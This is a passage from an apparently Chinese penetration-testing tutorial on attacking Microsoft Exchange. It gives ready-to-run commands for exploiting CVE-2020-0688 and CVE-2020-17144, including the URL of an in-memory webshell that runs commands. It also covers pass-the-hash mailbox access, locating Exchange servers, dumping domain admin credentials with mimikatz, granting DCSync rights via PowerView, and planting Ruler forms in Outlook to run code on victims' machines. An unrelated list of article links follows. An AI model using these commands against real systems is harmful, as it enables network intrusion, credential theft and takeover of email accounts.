检测
ExchangeDetect <target> <user> <pass>
利用
ExchangeCmd <target> <user> <pass>sub commands:exec <cmd> [args]exec commandarchget remote process architecture(for shellcode)shellcode <shellcode.bin>run shellcodeexitexit program
他的检测逻辑是在返回的头部加个信息
Headers["X-ZCG-TEST"]=="CVE-2020-0688"
不排除某些网络设备会检测这个,可根据需求自行修改
另外有个需要注意的点,如果在域内,<target>填邮箱域名(mail.xxx.com)检测不出来,可以先通过LDAP查询每台Exchange服务器,然后一台台试试,说不定有收获.
另外一个需要注意的点,执行命令的时候最好带上cmd /c
CVE-2020-17144需要普通用户凭据的情况下的RCE,就Exchange2010能用
https://github.com/Airboi/CVE-2020-17144-EXP
https://github.com/zcgonvh/CVE-2020-17144
CVE-2020-17144 <target> <user> <pass>
执行完之后会有个内存马,访问
http://[target]/ews/soap/?pass=命令
文章插图
头像哥的这个工具有个地方需要注意的是,他默认监听的是80端口的,咱们访问EWS接口一般用443,就以为没打成功,实际成功了.
文章插图
0x05 hash/密码 操作ews接口可以使用现成工具
1. pth_to_ewshttps://github.com/pentest-tools-public/Pass-to-hash-EWS
保存在目录下的inbox文件夹中为eml格式
pth_to_ews.exe https://MAIL/ews/exchange.asmx-U daiker -P 密码-MType Inbox
发送邮件pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密码 -Sendmail -T "123" -TM zhangjiawei1@Liton-Lab.com -B HTML.txt
搜索邮件内容含有ACL的邮件pth_to_ews.exe https://MAIL/ews/exchange.asmx-U daiker -P 密码 -MType SentItems -Filterstring "ACL" 搜索ACL
如果有自己研发的需求,见3好学生的Exchange Web Service(EWS)开发指南0x06 Exchange 在域内的位置1. 域内定位Exchange服务器在域内可以使用ldap定位,过滤规则
"(objectCategory=msExchExchangeServer)"
可以通过spn 来定位setspn -Q IMAP/*
2. Exchange内部的域管凭据拿到Exchange服务器,有很大概率就是域管直接登录的.或者域管曾经登录过.拿到Exchange服务器权限的时候,可以尝试直接dir下域控的C盘,看有没有权限.如果没有权限,再尝试使用mimikatz抓一波密码,很大概率可以直接抓到域管或者高权限用户.而且就算是高版本的server,在Exchange上也能抓到明文密码.3. Exchange的ACL所有的Exchange Server 都在Exchange Windows Permissions组里面,而这个组默认就对域有WriteACL权限,那么当我们拿下Exchange服务器的时候,就可以尝试使用WriteACL赋予自身Dcsync的权限.
使用powerview,为当前exchange机器名用户增加dcsync权限(此处需要使用dev分枝中的powerview)
powershell.exe -exec bypass -Command "& {Import-Module .powerview.ps1; Add-DomainObjectAcl -TargetIdentity ’DC=test,DC=local‘ -PrincipalIdentity exchange2016$ -Rights DCSync -Verbose}"
由于这个权限,Exchange 的RCE常用以在内网渗透中用来提升到域管权限.因此在CVE-2019-1040中,除了可以攻击DC,也有人选择攻击Exchange.
0x07 攻击 OutLook客户端前提条件:
- 需要用户凭据
- 该用户电脑装了Oulook客户端,用outlook查看邮件的时候触发.
通过Outlook客户端控制用户电脑
有三种方式 Form,ruler,HomePage.
1. FormRuler
formruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml--email daiker@Liton-Lab.com -u daiker -p 密码 --verbose --debug form displayruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml--email daiker@Liton-Lab.com -u daiker -p 密码 --verbose --debug form add --suffix superduper --input C:UserstomDesktopoutputcommand.txt --rule --sendcommand.txt 里面的内容是CreateObject("Wscript.Shell").Run "calc.exe", 0, False触发 ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml--email daiker@Liton-Lab.com -u daiker -p 密码 --verbose --debugform send --target daiker@Liton-Lab.com --suffix superduper --subject "Hi Koos" --body "Hi Koos,nJust checking in."删除ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml--email daiker@Liton-Lab.com -u daiker -p 密码 --verbose --debugformdelete --suffix superduper
KB4011091 于 2017年9月的更新中修复
推荐阅读
- 响应式网页中的高度设计,你认真的吗?
- 六百年的茶马往事,普洱茶中的精品茶化石
- “两肋插刀”中的“两肋”是指什么?
- 七步成诗中的成语有哪些 七步成诗是成语故事吗
- 别具情调的茶室,轻松掌握茶室中的花道
- IDEA远程调试
- 在安卓手机搭建kali环境,手机变成便携式渗透神器
- ASR 语音识别算法测试设计
- 谈谈Nginx负载均衡中的6种均衡策略
- 绿茶中的茶王,邵武市第二届茶王赛即将开展